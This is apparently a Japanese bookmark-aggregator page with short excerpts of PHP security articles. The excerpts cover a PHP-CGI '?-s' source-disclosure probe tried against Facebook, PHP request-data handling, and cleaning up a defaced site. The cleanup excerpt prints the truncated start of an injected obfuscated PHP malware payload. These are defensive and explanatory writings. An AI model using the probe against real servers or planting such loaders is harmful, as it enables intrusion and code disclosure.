facebookにPHP CGIの脆弱性を試してみたら面白い対策がされていた！！ - cakephperの日記(CakePHP, Laravel, PHP)
PHPに新たな脆弱性が見つかって、CGIモードで動作するPHPの場合コマンドライン引数がHTTP経由で渡せてしまうため、-sオプションを渡すとPHPのソースコードが丸見えになるというのが話題になってます。(-sオプションはhtmlでシンタックスハイライトまでしてくれてコードが見やすくなる) そこでFacebookに向けてこれを試してみると・・・ https://www.facebook.com/?-s こんな情報が！！ <?php include_once 'https://www.facebook.com/careers/department?dept=engineering&req=a2KA0000000Lt8LMAS'; このURLにアクセスすると、セキュリティエンジニアの求人情報ページに行きます :) おしゃれー
作者プロフィール | bakera.jp
水無月 ばけら / 太田 良典 「水無月ばけら」は小説を書いたりするときの筆名です。情報セキュリティや情報アクセシビリティの活動は本名でやっています。最近は (おかげさまで) 本名の方の知名度も出てきましたので、両方公開しておきます。 所属と仕事所属: 株式会社ビジネス・アーキテクツ (www.b-architects.com) マークアップをしたり、アクセシビリティガイドラインを監修したり、プログラムを書いたり、脆弱性を指摘したり、いろいろしています。 ※このサイト内の記述は私の個人的な見解であって、会社としての見解ではありません。念のため。 2011年からはウェブアクセシビリティ基盤委員会 作業部会2 (www.ciaj.or.jp)のメンバーとしても活動しています。 関連著作、執筆等友井町バスターズ (www.amazon.co.jp)HTML 4仕様書邦訳計画 (www.asahi
リクエストデータを受け取る変数の扱い
今回は、リクエストデータを受け取る変数の扱いについて注意すべきポイントを挙げて説明します。扱いを誤ると、脆弱性を作ることになりかねないので注意してください（編集部） リクエストデータの扱いを誤ると危険なことに 第37回から、PHPの実行時設定の中でも、デフォルトのままにしておかない方が良い項目を紹介し、どのように設定を変更すべきか解説しています。前回に引き続き、WebブラウザなどのHTTPクライアントが送信してくるデータ（以下リクエストデータ）の取り扱いに関係する設定について解説します。 Webアプリケーションを作るときに、リクエストデータの扱いを誤ると、攻撃を許すような欠陥、つまり脆弱性を作ってしまいます。本来ならその扱いは、アプリケーション開発者が制御するべきものですが、Webアプリケーションに特化しているPHPでは、言語としてリクエストデータの扱いをサポートしています。これにより開発
脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
